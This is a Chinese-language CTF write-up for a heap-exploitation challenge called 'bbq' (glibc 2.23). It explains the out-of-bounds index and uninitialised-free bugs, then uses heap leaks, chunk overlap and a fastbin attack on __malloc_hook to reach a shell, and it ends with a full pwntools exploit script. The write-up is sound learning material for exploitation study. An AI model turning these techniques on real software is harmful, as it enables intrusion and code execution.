堆风水/结构利用

prologue

堆风水主要的漏洞点有两个

Analysis

  1. idx 越界
  2. free ptr uninitialization

主要的难点是他的输入采用了

  1. 先读到stack上之后strcmp: \x00截断
  2. 用的是fgets长度0x40: 长度比较短,只能一点一点来,而且防止简单地泄漏。

其中主要有2个结构体

  1. 描述食材,是由bss上一个指针指向的一个单向链表.
    struct A{
     struct A* pre;//单向链表状
     int stock;//库存量 
     char * name;//食材名字
    }
    
  2. 描述烤架上正在烧烤的食物.
    struct food{
     struct A* raw;//指向食材
     int state;//表示被烤的程度,如果程度达到8且在烤架0-5上就会被烤成炭(无法吃-free)
     unsigned long long flag; //0xdeadbeef11 表示可以free 
    }
    

其中的操作主要由4个(其中4是我杜撰的…)

  1. 创建食材,可以设置stock,如果是已有的食材那么新加的stock会加到原有的stock上(不要忽视这一点…)
  2. 食材上烤架,可以任意设置在烤架的位置(signed int),食材必须在以经入链,上烤架之后会减少库存1.
  3. 吃食物,此处可以free任意地址(满足的条件是*(ptr+0x10)=0xdeadbeef11)
  4. 设置操作3的ptr可以使用1操作creat("A"*0x28+p64(ptr),0)来实现

solution

通过以上操作的各种组合我们可以得到以下比较容易想到的操作组合 (后文我将操作一称为creat,操作二称为add,操作3称为free)

  1. 整理内存 通过先囤积一部分0x20chunk之后free的方式让堆内存更清晰(我个人感觉如此) ```python creat(“n132”,0x666) add(“n132”,21) add(“n132”,22) add(“n132”,23) add(“n132”,24)

free(21) creat(“something”,1)


2. 构造任意`size`的`fake_chunk`(通过这样的方式我们可以构造出`unsorted bin`)

```python
free(21)
add("A"*8+'\x31',1)
free(22)
add(p64(0xdeadbeef11),1)
...#some options to set the head of the next chunk
creat("A"*0x28+p64(heap+offset),0)
free(-1)

实现之前我们最好先通过partial-write来获得heap地址,操作和上述的方法类似

通过2我们可以实现overlap,但是又一个问题就是,本题中我们直接overlap来完成unsorted-bin-attack有个无法解决的问题就是

我们写入heap的数据会被\x00\x0a截断所以我们无法同时设置headbk所以得绕一下.

本题保护全开/2.23环境所以我们比较常见的方法是控制 stack 返回地址,完成house of orange或者类似的对vtable的攻击,控制__malloc_hook

我的思路有点歪…我首先认为__malloc_hook没法控制因为我们无法malloc一个0x70大小的chunk 所以走不了那条路我就想着先试试控制stack其上我们可以随意输入构造.

思路1是这样的

  1. partial write - > leak heap
  2. free fake-chunk - > overlap
  3. modify name ptr - > leak libc
  4. modify name ptr - > stack 之后想在stack上构造一个fake_chunkfree掉之后控制返回地址…比预想的难度要打多次尝试失败后我准备换条路走

打算试试orange之类控制vtable的但是发现比前面那个更麻烦,用了超级多的时间 而且在摸索中发现了这题比较麻烦的点是找到一个可以用的head

…所以我感觉每条路都走不通了…但是题目是有人做出来的…所以应该有我不知道的信息…

我仔细想了想这题用到的函数我都是比较熟悉的唯一可能我不知道或者没有意识到的事情应该是有更深层次的组合操作…

想了半天终于想到了…就是我们其实还有有一个域可以由我们控制(stock)

creat("n132",0x666)

通过设置买入的个数来控制虽然看起来没啥用,但是,我们可以把一些我们想要控制的地址入链(唯一条件是name字段指向区域可读),之后creat("name",stock)就可以增加原来的值.(有个需要注意的点是stock4字节所以想要用来做head得选个高4字节没东西的.) 于是我把目光转向了__malloc_hook此次调试一番就成了具体过程如下.

  1. partial write - > leak heap
  2. free fake-chunk - > overlap
  3. modify name ptr - > leak libc
  4. fakechunk: __malloc_hook-0x20
  5. set __malloc_hook-0x18==0x21

接下来还有个小难点就是如何实现fastbin-atk前面我也说过在不关注stoke的情况下我尝试了各种办法都没有实现fastbin-atk但是如果想到了stock这点就会变得比较简单 前面我们可以造成overlap所以我们可以将任意伪造的食材chunk链入食材chain这样我们当于可以利用增加伪造的食材chunkstock来达到控制任意4字节的区域.显然单单4字节最多实现的是控制head但是假若其位置以经有了数据例如地址那么我们就可以实现任意地址改写.于是我的想法就是通过free构造以下情况

0x0000000000000000 fastbin[0]
fastbin[1]         0x0000000000000000

这样我们可以将上述地址链入食材chain这样我们可以添加fastbin[1]所指向的食物来完成fastbin[0]的任意写向从而完成fastbin-attack

继而控制___malloc_hook拿到shell.

本题的精髓所在即利用stock域来完成设置head和任意地址写,这是十分有意义,做题思路要灵活,结构体中的每一部分都是或许可以利用的。

exp

exp写的比较可能让人看不懂,我写一步看一步…后期也懒得改了.

from pwn import *
def cmd(c):
	p.sendlineafter(": ",str(c))
def creat(name,num):
	cmd(1)
	p.sendlineafter(">> ",name)
	p.sendlineafter(">> ",str(num))
def add(name,idx):
	cmd(2)
	p.sendlineafter(">> ",name)
	p.sendlineafter(">> ",str(idx))
def free(idx):
	cmd(3)
	p.sendlineafter(">> ",str(idx))
context.arch='amd64'
p=process("./bbq")
#p=remote("buuoj.cn",28379)
creat("n132",0x999)
creat("n"*0x27,0x100)
creat("A"*0x10+p64(0xDEADBEEF11),0x100)
add("n132",0)
free(0)
add("n132",6)
add("n132",7)
add("n132",8)
add("n132",9)
add("n132",10)

free(6)
creat("A"*0x27,0)
free(-1)

cmd(1)

p.readuntil("* ")
heap=u64(p.readuntil(" ")[:-1]+"\0\0")-0x110


p.sendlineafter(">> ","A"*0x18+p64(0x91)[:-1])
p.sendlineafter(">> ",str(1))

creat(p64(0xdeadbeef11),1)
free(7)
creat("b"*0x38,1)
free(8)
creat("c"*8+'\x21',1)
free(9)
creat("d"*8+'\x21',1)
creat("A"*0x28+p64(heap+0x1e0),0)
free(-1)
free(10)
creat("d"*0x18,1)
cmd(1)
p.readuntil("* ")
p.readuntil("* ")
p.readuntil("* ")
p.readuntil("* ")
base=u64(p.readuntil("\x20")[:-1]+"\0\0")-(0x7ffff7dd1b78-0x7ffff7a0d000)

p.sendlineafter(">> ","T"*0x30)
p.sendlineafter(">> ","1")
# let do hack

Aim=0x555555756005

add("n132",10)
add("n132",11)
add("n132",12)
add("n132",13)
add("n132",14)
add("n132",15)
add("n132",16)
add("n132",17)
add("n132",18)
add("n132",19)
add("n132",20)
context.log_level='debug'

free(10)
creat("1"*0x8+'\x41',1)
free(11)
creat(p64(0xdeadbeef11),1)

creat("132",0x21)

creat("A"*0x28+p64(heap+0x410),0)
free(-1)

free(12)
creat("A"*0x30+p64(0x7ffff7dd1af0-0x7ffff7a0d000+base)[:-1],'1')

specific_name=p64(0x4853f48949555441)+p64(0x33e313058b10ec83)

creat(specific_name,str(0x21))

creat("n132",0x666)
add("n132",21)
add("n132",22)
add("n132",23)
add("n132",24)
add("n132",25)
add("n132",26)
add("n132",27)
add("n132",28)
add("n132",29)
add("n132",30)

#creat fastbin[0](0x30)
free(13)
creat("A"*8+'\x31',1)
free(14)
creat(p64(0xdeadbeef11),1)

creat("A"*0x28+p64(heap+0x610),0)
free(-1)


free(15)
creat("Y"*8+'\xa1',1)
free(16)
creat(p64(0xdeadbeef11),1)
creat("Y"*0x38+"\x01",1)
free(17)
creat("z"*0x8,1)

free(19)
creat(p64(0x7ffff7dd1af0-0x7ffff7a0d000+base),1)


creat("A"*0x28+p64(heap+0x650),0)
free(-1)

free(18)
creat("x"*0x30+p64(0x7ffff7dd1b20-0x7ffff7a0d000+base)[:-2],1)

free(30)

creat("A"*8+'\x31',0x130)
one=0x4526a+base
creat("YYYYYYup"*2+p64(one),1)


log.warning(hex(heap))
log.warning(hex(base))
#gdb.attach(p,'b *{}'.format(hex(one)))

add("z"*8+p64(0),1)#rsp+0x30=0
p.interactive()

epilogue

挺有意义的一题,拓宽了漏洞利用的思路.